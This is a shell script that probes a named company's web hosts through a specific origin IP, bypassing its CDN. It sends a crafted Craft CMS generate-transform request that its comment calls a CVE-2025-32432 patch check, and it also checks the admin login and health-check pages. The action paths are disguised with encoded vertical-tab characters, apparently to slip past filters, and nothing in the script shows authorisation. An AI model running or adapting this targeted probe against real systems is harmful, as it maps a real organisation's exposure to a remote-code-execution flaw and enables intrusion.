17 lines
1.1 KiB
Bash
17 lines
1.1 KiB
Bash
#!/bin/sh
|
|
# Per-vhost Craft fingerprint: generate-transform array-handle (CVE-2025-32432 patch check),
|
|
# CP login page, health-check. Direct to origin ALB 52.51.74.51 (no CDN).
|
|
IP=52.51.74.51
|
|
N=0
|
|
for h in paystack.com dr.paystack.com blog.paystack.com beta.paystack.com website.production.paystack.co website.private.paystack.co cms.paystack.com; do
|
|
N=$((N+1)); f=/tmp/g.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $h" -H 'Content-Type: application/x-www-form-urlencoded' --data 'assetId=96&handle%5Bwidth%5D=1&handle%5Bheight%5D=1' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
|
|
echo "G|$h|$c|$(wc -c <"$f")|$(head -c 120 "$f" | tr '\n\t' ' ')"
|
|
N=$((N+1)); f=/tmp/l.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $h" "https://$IP/admin/login" 2>/dev/null)
|
|
echo "L|$h|$c|$(wc -c <"$f")|$(grep -o '<title>[^<]*' "$f" 2>/dev/null | head -1 | cut -c8-60)"
|
|
N=$((N+1)); f=/tmp/k.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $h" "https://$IP/?p=act%0bions/app/health-check" 2>/dev/null)
|
|
echo "H|$h|$c|$(wc -c <"$f")"
|
|
done
|
|
echo PROBEDONE2
|